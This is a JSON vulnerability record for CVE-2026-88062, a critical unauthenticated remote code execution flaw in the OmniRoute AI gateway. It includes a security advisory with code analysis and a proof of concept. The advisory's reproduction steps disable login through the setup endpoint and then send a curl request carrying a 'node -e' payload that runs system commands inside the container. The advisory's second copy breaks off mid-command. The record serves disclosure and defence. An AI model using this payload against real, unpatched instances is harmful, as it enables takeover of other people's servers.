{"id":"CVE-2026-88062","aliases":["EUVD-2026-75705","GHSA-hf57-cqmx-p4gr"],"status":"published","title":"OmniRoute ACP Custom-Agent Remote Code Execution (RCE)","description":"OmniRoute is an open-source AI gateway providing a single endpoint for multiple model providers. In 3.8.49 and earlier, the OmniRoute POST /api/acp/agents custom ACP agent endpoint accepted attacker-controlled binary and versionCommand values and used only a self-consistency check before execFileSync executed the selected interpreter and arguments. The same request called refreshAgentCache, and resolveVersionProbe accepted the matched command before the execFileSync sink ran it. The tokenizeVersionCommand function and DISALLOWED_VERSION_COMMAND_CHARS filter rejected a limited set of shell metacharacters but still allowed interpreter evaluation arguments. The isAuthenticated function relied on isAuthRequired, which accepted anonymous requests when requireLogin was false, while api/acp/ was absent from LOCAL_ONLY_API_PREFIXES and SPAWN_CAPABLE_PREFIXES. With requireLogin=false or during a fresh-instance bootstrap window, a remote anonymous request could supply an interpreter evaluation argument and execute arbitrary code in the server container. With requireLogin=true and a configured management password, exploitation instead required a management session or management-scoped API key. No fixed version is available as of this review.","severity":{"version":"4.0","score":9.5,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.01424,"percentile":0.73291,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":false},"cwes":["CWE-306","CWE-94"],"published":"2026-09-10T19:14:17Z","modified":"2026-10-28T02:31:08Z","exploits":[{"source":"nuclei","id":"CVE-2026-88062","title":"OmniRoute \u003c 3.8.49 - Unauthenticated RCE","type":"detection template","url":"https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2026/CVE-2026-88062.yaml"}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"omniroute","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"3.8.50"}]}]},{"source":"osv","ecosystem":"npm","package":"omniroute","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"3.8.50"}]}]}],"products":[{"vendor":"diegosouzapw","product":"omniroute"}],"references":[{"url":"https://github.com/diegosouzapw/OmniRoute/security/advisories/GHSA-hf57-cqmx-p4gr","tags":["x_refsource_CONFIRM","advisory","web"]},{"url":"https://github.com/diegosouzapw/OmniRoute/pull/11028","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/diegosouzapw/OmniRoute/commit/60829241fd64d0317aa6a0dd8cd7a445a5287fed","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/advisories/GHSA-hf57-cqmx-p4gr"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/88xxx/CVE-2026-88062.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88062","tags":["advisory"]},{"url":"https://github.com/diegosouzapw/OmniRoute","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-88062","title":"OmniRoute ACP Custom-Agent Remote Code Execution (RCE)","description":"OmniRoute is an open-source AI gateway providing a single endpoint for multiple model providers. In 3.8.49 and earlier, the OmniRoute POST /api/acp/agents custom ACP agent endpoint accepted attacker-controlled binary and versionCommand values and used only a self-consistency check before execFileSync executed the selected interpreter and arguments. The same request called refreshAgentCache, and resolveVersionProbe accepted the matched command before the execFileSync sink ran it. The tokenizeVersionCommand function and DISALLOWED_VERSION_COMMAND_CHARS filter rejected a limited set of shell metacharacters but still allowed interpreter evaluation arguments. The isAuthenticated function relied on isAuthRequired, which accepted anonymous requests when requireLogin was false, while api/acp/ was absent from LOCAL_ONLY_API_PREFIXES and SPAWN_CAPABLE_PREFIXES. With requireLogin=false or during a fresh-instance bootstrap window, a remote anonymous request could supply an interpreter evaluation argument and execute arbitrary code in the server container. With requireLogin=true and a configured management password, exploitation instead required a management session or management-scoped API key. No fixed version is available as of this review.","status":"published","published":"2026-09-10T19:14:17.508Z","modified":"2026-09-11T20:32:43.07Z","cvss":[{"version":"4.0","score":9.5,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"critical","assessor":"cna"}],"cwes":["CWE-94","CWE-306"],"updated_at":"2026-11-02T13:42:04.39372Z"}],"euvd":[{"id":"EUVD-2026-75705","description":"OmniRoute is an open-source AI gateway providing a single endpoint for multiple model providers. In 3.8.49 and earlier, the OmniRoute POST /api/acp/agents custom ACP agent endpoint accepted attacker-controlled binary and versionCommand values and used only a self-consistency check before execFileSync executed the selected interpreter and arguments. The same request called refreshAgentCache, and resolveVersionProbe accepted the matched command before the execFileSync sink ran it. The tokenizeVersionCommand function and DISALLOWED_VERSION_COMMAND_CHARS filter rejected a limited set of shell metacharacters but still allowed interpreter evaluation arguments. The isAuthenticated function relied on isAuthRequired, which accepted anonymous requests when requireLogin was false, while api/acp/ was absent from LOCAL_ONLY_API_PREFIXES and SPAWN_CAPABLE_PREFIXES. With requireLogin=false or during a fresh-instance bootstrap window, a remote anonymous request could supply an interpreter evaluation argument and execute arbitrary code in the server container. With requireLogin=true and a configured management password, exploitation instead required a management session or management-scoped API key. No fixed version is available as of this review.","status":"published","published":"2026-09-10T19:14:17Z","modified":"2026-09-11T20:32:43Z","cvss":[{"version":"4.0","score":9.5,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"critical"}],"updated_at":"2026-11-02T17:28:21.886667Z"}],"ghsa":[{"id":"GHSA-hf57-cqmx-p4gr","title":" OmniRoute ACP Custom-Agent Remote Code Execution (RCE)","description":"## 2. Summary\n\n`POST /api/acp/agents` registers a custom ACP agent. The endpoint accepts user-controlled\n`binary` and `versionCommand` values. After saving the custom agent, the same request calls\n`refreshAgentCache()`, which triggers agent version detection. The version probe eventually runs:\n\n```ts\nexecFileSync(probe.command, probe.args, ...)\n```\n\nThe only validation is `resolveVersionProbe(binary, versionCommand, true)`, which checks that the\nfirst token of `versionCommand` matches the request-provided `binary`. Because `binary` is also\nattacker-controlled, an attacker can submit:\n\n```json\n{\n  \"binary\": \"node\",\n  \"versionCommand\": \"node -e \\\"...arbitrary JavaScript...\\\"\"\n}\n```\n\nThis executes arbitrary Node.js code inside the server container, and that code can execute OS\ncommands via `child_process.execSync()`.\n\nWhen `requireLogin=false`, `isAuthenticated()` treats anonymous requests as authenticated. At the\nsame time, `/api/acp/` is not included in `LOCAL_ONLY_API_PREFIXES` or `SPAWN_CAPABLE_PREFIXES`, so\nthe endpoint is not blocked by the LOCAL_ONLY policy before reaching the anonymous allow branch.\nAs a result, a remote anonymous attacker can execute commands inside the OmniRoute container with a\nsingle HTTP request.\n\n## 3. Preconditions\n\nThe unauthenticated exploit is reachable in either of the following scenarios:\n\n1. The target instance has `requireLogin=false`. This is the primary scenario covered by this\n   report and by the reproduction steps below.\n2. A fresh instance has no management password configured yet. During this bootstrap window,\n   `/api/settings/require-login` allows unauthenticated setup writes, so an attacker can first set\n   `requireLogin=false` and then call the vulnerable endpoint.\n\nIf the instance is in the default `requireLogin=true` state and already has a management password,\nexploitation requires a valid management session or management-scoped API key. In that case, the\nbug is authenticated RCE rather than the unauthenticated scenario emphasized here.\n\n## 4. Technical Analysis\n\n### 4.1 The Endpoint Accepts User-Controlled Command Fields\n\n`src/app/api/acp/agents/route.ts:15-24` defines a request schema that accepts `binary`,\n`versionCommand`, and `spawnArgs`:\n\n```ts\nconst customAgentBodySchema = z.object({\n  action: z.string().optional(),\n  id: z.string().optional(),\n  name: z.string().optional(),\n  binary: z.string().optional(),\n  versionCommand: z.string().optional(),\n  providerAlias: z.string().optional(),\n  spawnArgs: z.array(z.string()).optional(),\n  protocol: z.enum([\"stdio\", \"http\"]).optional(),\n});\n```\n\nThe `POST` handler at `src/app/api/acp/agents/route.ts:58-61` only calls `isAuthenticated()`:\n\n```ts\nexport async function POST(request: Request) {\n  if (!(await isAuthenticated(request))) {\n    return NextResponse.json({ error: \"Unauthorized\" }, { status: 401 });\n  }\n```\n\nThe handler then stores `binary` and `versionCommand` in the custom agent definition without an\nexecutable allowlist:\n\n```ts\nconst newAgent: CustomAgentDef = {\n  id: id.toLowerCase().replace(/[^a-z0-9-]/g, \"-\"),\n  name,\n  binary,\n  versionCommand,\n  providerAlias: providerAlias || id,\n  spawnArgs: spawnArgs || [],\n  protocol: protocol || \"stdio\",\n};\n```\n\nThis logic is in `src/app/api/acp/agents/route.ts:92-100`.\n\n### 4.2 The Only Guard Is a Self-Consistency Check\n\nThe only command validation in the route is at `src/app/api/acp/agents/route.ts:102-107`:\n\n```ts\nif (!resolveVersionProbe(newAgent.binary, newAgent.versionCommand, true)) {\n  return NextResponse.json(\n    { error: \"Invalid versionCommand: use the configured binary with plain arguments only\" },\n    { status: 400 }\n  );\n}\n```\n\nThe core logic of `resolveVersionProbe()` is in `src/lib/acp/registry.ts:261-288`:\n\n```ts\nexport function resolveVersionProbe(\n  binary: string,\n  versionCommand: string,\n  requireBinaryMatch = false\n): { command: string; args: string[] } | null {\n  const tokens = tokenizeVersionCommand(versionCommand);\n  if (!tokens) {\n    return null;\n  }\n\n  const [command, ...args] = tokens;\n  if (!command) {\n    return null;\n  }\n\n  if (requireBinaryMatch) {\n    const normalizedCommand = normalizeCommandToken(command);\n    const allowed = new Set([\n      normalizeCommandToken(binary),\n      normalizeCommandToken(path.basename(binary)),\n    ]);\n    if (!allowed.has(normalizedCommand)) {\n      return null;\n    }\n  }\n\n  return { command, args };\n}\n```\n\nThis check only requires the first token of `versionCommand` to equal `binary` or\n`path.basename(binary)`. Since `binary` is also attacker-controlled, `binary=\"node\"` and\n`versionCommand=\"node -e \\\"...\\\"\"` pass validation.\n\n`tokenizeVersionCommand()` only blocks a small set of shell metacharacters\n(`src/lib/acp/registry.ts:183-254`):\n\n```ts\nconst DISALLOWED_VERSION_COMMAND_CHARS = /[;\u0026|\u003c\u003e`$\\r\\n]/;\n```\n\nThis does not prevent `node -e` code execution, because characters needed for the payload, such as\n`(`, `)`, `'`, `.`, `/`, `,`, and spaces, are allowed.\n\n### 4.3 The Same Request Immediately Triggers Command Execution\n\nAfter saving the custom agent, the route calls `refreshAgentCache()` at\n`src/app/api/acp/agents/route.ts:121-127`:\n\n```ts\nconst updated = [...current, newAgent];\nawait updateSettings({ customAgents: updated });\nsetCustomAgents(updated);\n\nconst agents = refreshAgentCache();\nreturn NextResponse.json({ agents, added: newAgent });\n```\n\n`refreshAgentCache()` is defined at `src/lib/acp/registry.ts:366-369`:\n\n```ts\nexport function refreshAgentCache(): CliAgentInfo[] {\n  _cachedAgents = null;\n  return detectInstalledAgents();\n}\n```\n\n`detectInstalledAgents()` merges built-in and custom agents and calls `detectAgent()` for each one\n(`src/lib/acp/registry.ts:342-360`):\n\n```ts\nconst allDefs = [\n  ...AGENT_DEFINITIONS.map((d) =\u003e ({ ...d, _custom: false })),\n  ..._customAgentDefs.map((d) =\u003e ({ ...d, _custom: true })),\n];\n\n_cachedAgents = allDefs.map((def) =\u003e {\n  const { _custom, ...rest } = def;\n  return detectAgent(rest, _custom);\n});\n```\n\nThe command execution sink is at `src/lib/acp/registry.ts:307-325`:\n\n```ts\nconst probe = resolveVersionProbe(def.binary, def.versionCommand, isCustom);\nif (!probe) {\n  return { ...def, version, installed, isCustom };\n}\n\nconst output = execFileSync(probe.command, probe.args, {\n  timeout: 5000,\n  encoding: \"utf-8\",\n  stdio: [\"pipe\", \"pipe\", \"pipe\"],\n  ...(shouldUseShellForVersionProbe(probe.command) ? { shell: true } : {}),\n}).trim();\n```\n\nOn Linux containers, `shouldUseShellForVersionProbe()` returns `false` for non-Windows platforms\n(`src/lib/acp/registry.ts:290-301`):\n\n```ts\nexport function shouldUseShellForVersionProbe(\n  command: string,\n  platform = process.platform\n): boolean {\n  if (platform !== \"win32\") return false;\n  ...\n}\n```\n\nTherefore the effective execution is `execFileSync(\"node\", [\"-e\", \"...\"])`. No shell\nmetacharacters are required.\n\n### 4.4 Why This Is Unauthenticated\n\n`isAuthenticated()` is defined at `src/shared/utils/apiAuth.ts:285-302`:\n\n```ts\nexport async function isAuthenticated(request: Request): Promise\u003cboolean\u003e {\n  if (!(await isAuthRequired(request))) {\n    return true;\n  }\n  ...\n}\n```\n\n`isAuthRequired()` returns `false` when `requireLogin=false`\n(`src/shared/utils/apiAuth.ts:317-323`):\n\n```ts\nconst settings = await getSettings();\nif (settings.requireLogin === false) return false;\n```\n\nThe centralized management policy also has the same anonymous allow branch at\n`src/server/authz/policies/management.ts:223-226`:\n\n```ts\nif (!isAlwaysProtectedPath(path) \u0026\u0026 !(await isAuthRequired(ctx.request))) {\n  return allow({ kind: \"anonymous\", id: \"anonymous\", label: \"auth-disabled\" });\n}\n```\n\nRoutes that can start local subprocesses should be blocked by the LOCAL_ONLY policy first.\n`src/server/authz/routeGuard.ts:29-45` lists LOCAL_ONLY prefixes such as `/api/mcp/`,\n`/api/cli-tools/runtime/`, `/api/services/`, `/api/tools/agent-bridge/`, and `/api/plugins/`, but\nit does not include `/api/acp/`:\n\n```ts\nexport const LOCAL_ONLY_API_PREFIXES: ReadonlyArray\u003cstring\u003e = [\n  \"/api/mcp/\",\n  \"/api/cli-tools/runtime/\",\n  \"/api/services/\",\n  \"/dashboard/providers/services/\",\n  \"/api/copilot/\",\n  \"/api/tools/agent-bridge/\",\n  \"/api/tools/traffic-inspector/\",\n  \"/api/plugins/\",\n  \"/api/plugins\",\n  \"/api/system/version\",\n  \"/api/db-backups/exportAll\",\n  \"/api/local/\",\n  \"/api/headroom/start\",\n  \"/api/headroom/stop\",\n  \"/api/oauth/cursor/auto-import\",\n];\n```\n\n`SPAWN_CAPABLE_PREFIXES` also omits `/api/acp/`\n(`src/shared/constants/spawnCapablePrefixes.ts:26-35`).\n\nThis means `/api/acp/agents` reaches the anonymous allow branch when `requireLogin=false` instead\nof being rejected by the LOCAL_ONLY gate.\n\n## 5. Reproduction Environment\n\nThe issue can be reproduced in a local Docker environment:\n\n- OmniRoute image: `diegosouzapw/omniroute:latest`\n- Exposed port: `20128`\n- Container data directory: `/app/data`\n- PoC behavior: runs only read-only commands (`id` and `uname -a`) and writes their output to\n  `/app/data/UNAUTH_RCE_PROOF.txt`\n\n## 6. Reproduction Steps\n\n### 6.1 Start a Test Instance\n\n```bash\nJWT=$(openssl rand -base64 48)\nAKS=$(openssl rand -hex 32)\n\ndocker network create omniroute-poc-net\ndocker run -d --name omniroute-poc-redis --network omniroute-poc-net redis:7-alpine\ndocker run -d --name omniroute-poc --network omniroute-poc-net \\\n  -p 20128:20128 -p 20129:20129 \\\n  -e JWT_SECRET=\"$JWT\" \\\n  -e API_KEY_SECRET=\"$AKS\" \\\n  -e REDIS_URL=\"redis://omniroute-poc-redis:6379\" \\\n  diegosouzapw/omniroute:latest\n```\n\nWait for startup:\n\n```bash\nuntil curl -sf http://localhost:20128/api/health \u003e/dev/null 2\u003e\u00261 || \\\n      curl -sf http://localhost:20128/ \u003e/dev/null 2\u003e\u00261; do\n  sleep 2\ndone\n```\n\n### 6.2 Put the Instance in the Login-Disabled State\n\nThis step models a self-hosted instance where dashboard login has been disabled:\n\n```bash\ncurl -s -X POST \"http://localhost:20128/api/settings/require-login\" \\\n  -H \"content-type: application/json\" \\\n  -d '{\"requireLogin\":false}'\n```\n\nIf the target is already in `requireLogin=false`, this step is not needed.\n\n### 6.3 Trigger RCE Anonymously\n\nThe following request sends no cookie and no Bearer token:\n\n```bash\ncurl -s -X POST \"http://localhost:20128/api/acp/agents\" \\\n  -H \"content-type: application/json\" \\\n  -d '{\n    \"id\":\"anonrce\",\n    \"name\":\"anonrce\",\n    \"binary\":\"node\",\n    \"protocol\":\"stdio\",\n    \"versionCommand\":\"node -e \\\"require('\\''fs'\\'').writeFileSync('\\''/app/data/UNAUTH_RCE_PROOF.txt'\\'',require('\\''child_process'\\'').execSync('\\''id'\\'').toString()+require('\\''child_process'\\'').execSync('\\''uname -a'\\'').toString())\\\"\"\n  }'\n```\n\n### 6.4 Verify Command Execution\n\n```bash\ndocker exec omniroute-poc cat /app/data/UNAUTH_RCE_PROOF.txt\n```\n\nExpected output is similar to:\n\n```text\nuid=1000(node) gid=1000(node) groups=1000(node)\nLinux \u003ccontainer-id\u003e \u003ckernel-version\u003e ... \u003carch\u003e GNU/Linux\n```\n\nThis proves that the anonymous HTTP request executed `id` and `uname -a` inside the OmniRoute\ncontainer.\n\n\u003cimg width=\"2123\" height=\"1195\" alt=\"image\" src=\"https://github.com/user-attachments/assets/935ae9c2-3d75-45ec-9a90-f325bbd17e4f\" /\u003e","status":"published","published":"2026-09-10T21:22:12Z","modified":"2026-09-10T21:22:13Z","cvss":[{"version":"4.0","score":9.5,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"critical"}],"cwes":["CWE-94","CWE-306"],"updated_at":"2026-11-02T14:41:15.803194Z"}],"nvd":[{"id":"CVE-2026-88062","description":"OmniRoute is an open-source AI gateway providing a single endpoint for multiple model providers. In 3.8.49 and earlier, the OmniRoute POST /api/acp/agents custom ACP agent endpoint accepted attacker-controlled binary and versionCommand values and used only a self-consistency check before execFileSync executed the selected interpreter and arguments. The same request called refreshAgentCache, and resolveVersionProbe accepted the matched command before the execFileSync sink ran it. The tokenizeVersionCommand function and DISALLOWED_VERSION_COMMAND_CHARS filter rejected a limited set of shell metacharacters but still allowed interpreter evaluation arguments. The isAuthenticated function relied on isAuthRequired, which accepted anonymous requests when requireLogin was false, while api/acp/ was absent from LOCAL_ONLY_API_PREFIXES and SPAWN_CAPABLE_PREFIXES. With requireLogin=false or during a fresh-instance bootstrap window, a remote anonymous request could supply an interpreter evaluation argument and execute arbitrary code in the server container. With requireLogin=true and a configured management password, exploitation instead required a management session or management-scoped API key. No fixed version is available as of this review.","status":"published","published":"2026-09-10T20:17:31.693Z","modified":"2026-09-30T19:57:08.043Z","cvss":[{"version":"4.0","score":9.5,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"critical","assessor":"secondary"}],"cwes":["CWE-94","CWE-306"],"updated_at":"2026-11-02T14:12:46.271848Z"}],"osv":[{"id":"CVE-2026-88062","title":"OmniRoute ACP Custom-Agent Remote Code Execution (RCE)","description":"OmniRoute is an open-source AI gateway providing a single endpoint for multiple model providers. In 3.8.49 and earlier, the OmniRoute POST /api/acp/agents custom ACP agent endpoint accepted attacker-controlled binary and versionCommand values and used only a self-consistency check before execFileSync executed the selected interpreter and arguments. The same request called refreshAgentCache, and resolveVersionProbe accepted the matched command before the execFileSync sink ran it. The tokenizeVersionCommand function and DISALLOWED_VERSION_COMMAND_CHARS filter rejected a limited set of shell metacharacters but still allowed interpreter evaluation arguments. The isAuthenticated function relied on isAuthRequired, which accepted anonymous requests when requireLogin was false, while api/acp/ was absent from LOCAL_ONLY_API_PREFIXES and SPAWN_CAPABLE_PREFIXES. With requireLogin=false or during a fresh-instance bootstrap window, a remote anonymous request could supply an interpreter evaluation argument and execute arbitrary code in the server container. With requireLogin=true and a configured management password, exploitation instead required a management session or management-scoped API key. No fixed version is available as of this review.","status":"published","published":"2026-09-10T19:14:17.508Z","modified":"2026-10-28T02:31:08.486823931Z","cvss":[{"version":"4.0","score":9.5,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"critical"}],"cwes":["CWE-306","CWE-94"],"updated_at":"2026-11-02T15:45:19.210277Z"},{"id":"GHSA-hf57-cqmx-p4gr","title":" OmniRoute ACP Custom-Agent Remote Code Execution (RCE)","description":"## 2. Summary\n\n`POST /api/acp/agents` registers a custom ACP agent. The endpoint accepts user-controlled\n`binary` and `versionCommand` values. After saving the custom agent, the same request calls\n`refreshAgentCache()`, which triggers agent version detection. The version probe eventually runs:\n\n```ts\nexecFileSync(probe.command, probe.args, ...)\n```\n\nThe only validation is `resolveVersionProbe(binary, versionCommand, true)`, which checks that the\nfirst token of `versionCommand` matches the request-provided `binary`. Because `binary` is also\nattacker-controlled, an attacker can submit:\n\n```json\n{\n  \"binary\": \"node\",\n  \"versionCommand\": \"node -e \\\"...arbitrary JavaScript...\\\"\"\n}\n```\n\nThis executes arbitrary Node.js code inside the server container, and that code can execute OS\ncommands via `child_process.execSync()`.\n\nWhen `requireLogin=false`, `isAuthenticated()` treats anonymous requests as authenticated. At the\nsame time, `/api/acp/` is not included in `LOCAL_ONLY_API_PREFIXES` or `SPAWN_CAPABLE_PREFIXES`, so\nthe endpoint is not blocked by the LOCAL_ONLY policy before reaching the anonymous allow branch.\nAs a result, a remote anonymous attacker can execute commands inside the OmniRoute container with a\nsingle HTTP request.\n\n## 3. Preconditions\n\nThe unauthenticated exploit is reachable in either of the following scenarios:\n\n1. The target instance has `requireLogin=false`. This is the primary scenario covered by this\n   report and by the reproduction steps below.\n2. A fresh instance has no management password configured yet. During this bootstrap window,\n   `/api/settings/require-login` allows unauthenticated setup writes, so an attacker can first set\n   `requireLogin=false` and then call the vulnerable endpoint.\n\nIf the instance is in the default `requireLogin=true` state and already has a management password,\nexploitation requires a valid management session or management-scoped API key. In that case, the\nbug is authenticated RCE rather than the unauthenticated scenario emphasized here.\n\n## 4. Technical Analysis\n\n### 4.1 The Endpoint Accepts User-Controlled Command Fields\n\n`src/app/api/acp/agents/route.ts:15-24` defines a request schema that accepts `binary`,\n`versionCommand`, and `spawnArgs`:\n\n```ts\nconst customAgentBodySchema = z.object({\n  action: z.string().optional(),\n  id: z.string().optional(),\n  name: z.string().optional(),\n  binary: z.string().optional(),\n  versionCommand: z.string().optional(),\n  providerAlias: z.string().optional(),\n  spawnArgs: z.array(z.string()).optional(),\n  protocol: z.enum([\"stdio\", \"http\"]).optional(),\n});\n```\n\nThe `POST` handler at `src/app/api/acp/agents/route.ts:58-61` only calls `isAuthenticated()`:\n\n```ts\nexport async function POST(request: Request) {\n  if (!(await isAuthenticated(request))) {\n    return NextResponse.json({ error: \"Unauthorized\" }, { status: 401 });\n  }\n```\n\nThe handler then stores `binary` and `versionCommand` in the custom agent definition without an\nexecutable allowlist:\n\n```ts\nconst newAgent: CustomAgentDef = {\n  id: id.toLowerCase().replace(/[^a-z0-9-]/g, \"-\"),\n  name,\n  binary,\n  versionCommand,\n  providerAlias: providerAlias || id,\n  spawnArgs: spawnArgs || [],\n  protocol: protocol || \"stdio\",\n};\n```\n\nThis logic is in `src/app/api/acp/agents/route.ts:92-100`.\n\n### 4.2 The Only Guard Is a Self-Consistency Check\n\nThe only command validation in the route is at `src/app/api/acp/agents/route.ts:102-107`:\n\n```ts\nif (!resolveVersionProbe(newAgent.binary, newAgent.versionCommand, true)) {\n  return NextResponse.json(\n    { error: \"Invalid versionCommand: use the configured binary with plain arguments only\" },\n    { status: 400 }\n  );\n}\n```\n\nThe core logic of `resolveVersionProbe()` is in `src/lib/acp/registry.ts:261-288`:\n\n```ts\nexport function resolveVersionProbe(\n  binary: string,\n  versionCommand: string,\n  requireBinaryMatch = false\n): { command: string; args: string[] } | null {\n  const tokens = tokenizeVersionCommand(versionCommand);\n  if (!tokens) {\n    return null;\n  }\n\n  const [command, ...args] = tokens;\n  if (!command) {\n    return null;\n  }\n\n  if (requireBinaryMatch) {\n    const normalizedCommand = normalizeCommandToken(command);\n    const allowed = new Set([\n      normalizeCommandToken(binary),\n      normalizeCommandToken(path.basename(binary)),\n    ]);\n    if (!allowed.has(normalizedCommand)) {\n      return null;\n    }\n  }\n\n  return { command, args };\n}\n```\n\nThis check only requires the first token of `versionCommand` to equal `binary` or\n`path.basename(binary)`. Since `binary` is also attacker-controlled, `binary=\"node\"` and\n`versionCommand=\"node -e \\\"...\\\"\"` pass validation.\n\n`tokenizeVersionCommand()` only blocks a small set of shell metacharacters\n(`src/lib/acp/registry.ts:183-254`):\n\n```ts\nconst DISALLOWED_VERSION_COMMAND_CHARS = /[;\u0026|\u003c\u003e`$\\r\\n]/;\n```\n\nThis does not prevent `node -e` code execution, because characters needed for the payload, such as\n`(`, `)`, `'`, `.`, `/`, `,`, and spaces, are allowed.\n\n### 4.3 The Same Request Immediately Triggers Command Execution\n\nAfter saving the custom agent, the route calls `refreshAgentCache()` at\n`src/app/api/acp/agents/route.ts:121-127`:\n\n```ts\nconst updated = [...current, newAgent];\nawait updateSettings({ customAgents: updated });\nsetCustomAgents(updated);\n\nconst agents = refreshAgentCache();\nreturn NextResponse.json({ agents, added: newAgent });\n```\n\n`refreshAgentCache()` is defined at `src/lib/acp/registry.ts:366-369`:\n\n```ts\nexport function refreshAgentCache(): CliAgentInfo[] {\n  _cachedAgents = null;\n  return detectInstalledAgents();\n}\n```\n\n`detectInstalledAgents()` merges built-in and custom agents and calls `detectAgent()` for each one\n(`src/lib/acp/registry.ts:342-360`):\n\n```ts\nconst allDefs = [\n  ...AGENT_DEFINITIONS.map((d) =\u003e ({ ...d, _custom: false })),\n  ..._customAgentDefs.map((d) =\u003e ({ ...d, _custom: true })),\n];\n\n_cachedAgents = allDefs.map((def) =\u003e {\n  const { _custom, ...rest } = def;\n  return detectAgent(rest, _custom);\n});\n```\n\nThe command execution sink is at `src/lib/acp/registry.ts:307-325`:\n\n```ts\nconst probe = resolveVersionProbe(def.binary, def.versionCommand, isCustom);\nif (!probe) {\n  return { ...def, version, installed, isCustom };\n}\n\nconst output = execFileSync(probe.command, probe.args, {\n  timeout: 5000,\n  encoding: \"utf-8\",\n  stdio: [\"pipe\", \"pipe\", \"pipe\"],\n  ...(shouldUseShellForVersionProbe(probe.command) ? { shell: true } : {}),\n}).trim();\n```\n\nOn Linux containers, `shouldUseShellForVersionProbe()` returns `false` for non-Windows platforms\n(`src/lib/acp/registry.ts:290-301`):\n\n```ts\nexport function shouldUseShellForVersionProbe(\n  command: string,\n  platform = process.platform\n): boolean {\n  if (platform !== \"win32\") return false;\n  ...\n}\n```\n\nTherefore the effective execution is `execFileSync(\"node\", [\"-e\", \"...\"])`. No shell\nmetacharacters are required.\n\n### 4.4 Why This Is Unauthenticated\n\n`isAuthenticated()` is defined at `src/shared/utils/apiAuth.ts:285-302`:\n\n```ts\nexport async function isAuthenticated(request: Request): Promise\u003cboolean\u003e {\n  if (!(await isAuthRequired(request))) {\n    return true;\n  }\n  ...\n}\n```\n\n`isAuthRequired()` returns `false` when `requireLogin=false`\n(`src/shared/utils/apiAuth.ts:317-323`):\n\n```ts\nconst settings = await getSettings();\nif (settings.requireLogin === false) return false;\n```\n\nThe centralized management policy also has the same anonymous allow branch at\n`src/server/authz/policies/management.ts:223-226`:\n\n```ts\nif (!isAlwaysProtectedPath(path) \u0026\u0026 !(await isAuthRequired(ctx.request))) {\n  return allow({ kind: \"anonymous\", id: \"anonymous\", label: \"auth-disabled\" });\n}\n```\n\nRoutes that can start local subprocesses should be blocked by the LOCAL_ONLY policy first.\n`src/server/authz/routeGuard.ts:29-45` lists LOCAL_ONLY prefixes such as `/api/mcp/`,\n`/api/cli-tools/runtime/`, `/api/services/`, `/api/tools/agent-bridge/`, and `/api/plugins/`, but\nit does not include `/api/acp/`:\n\n```ts\nexport const LOCAL_ONLY_API_PREFIXES: ReadonlyArray\u003cstring\u003e = [\n  \"/api/mcp/\",\n  \"/api/cli-tools/runtime/\",\n  \"/api/services/\",\n  \"/dashboard/providers/services/\",\n  \"/api/copilot/\",\n  \"/api/tools/agent-bridge/\",\n  \"/api/tools/traffic-inspector/\",\n  \"/api/plugins/\",\n  \"/api/plugins\",\n  \"/api/system/version\",\n  \"/api/db-backups/exportAll\",\n  \"/api/local/\",\n  \"/api/headroom/start\",\n  \"/api/headroom/stop\",\n  \"/api/oauth/cursor/auto-import\",\n];\n```\n\n`SPAWN_CAPABLE_PREFIXES` also omits `/api/acp/`\n(`src/shared/constants/spawnCapablePrefixes.ts:26-35`).\n\nThis means `/api/acp/agents` reaches the anonymous allow branch when `requireLogin=false` instead\nof being rejected by the LOCAL_ONLY gate.\n\n## 5. Reproduction Environment\n\nThe issue can be reproduced in a local Docker environment:\n\n- OmniRoute image: `diegosouzapw/omniroute:latest`\n- Exposed port: `20128`\n- Container data directory: `/app/data`\n- PoC behavior: runs only read-only commands (`id` and `uname -a`) and writes their output to\n  `/app/data/UNAUTH_RCE_PROOF.txt`\n\n## 6. Reproduction Steps\n\n### 6.1 Start a Test Instance\n\n```bash\nJWT=$(openssl rand -base64 48)\nAKS=$(openssl rand -hex 32)\n\ndocker network create omniroute-poc-net\ndocker run -d --name omniroute-poc-redis --network omniroute-poc-net redis:7-alpine\ndocker run -d --name omniroute-poc --network omniroute-poc-net \\\n  -p 20128:20128 -p 20129:20129 \\\n  -e JWT_SECRET=\"$JWT\" \\\n  -e API_KEY_SECRET=\"$AKS\" \\\n  -e REDIS_URL=\"redis://omniroute-poc-redis:6379\" \\\n  diegosouzapw/omniroute:latest\n```\n\nWait for startup:\n\n```bash\nuntil curl -sf http://localhost:20128/api/health \u003e/dev/null 2\u003e\u00261 || \\\n      curl -sf http://localhost:20128/ \u003e/dev/null 2\u003e\u00261; do\n  sleep 2\ndone\n```\n\n### 6.2 Put the Instance in the Login-Disabled State\n\nThis step models a self-hosted instance where dashboard login has been disabled:\n\n```bash\ncurl -s -X POST \"http://localhost:20128/api/settings/require-login\" \\\n  -H \"content-type: application/json\" \\\n  -d 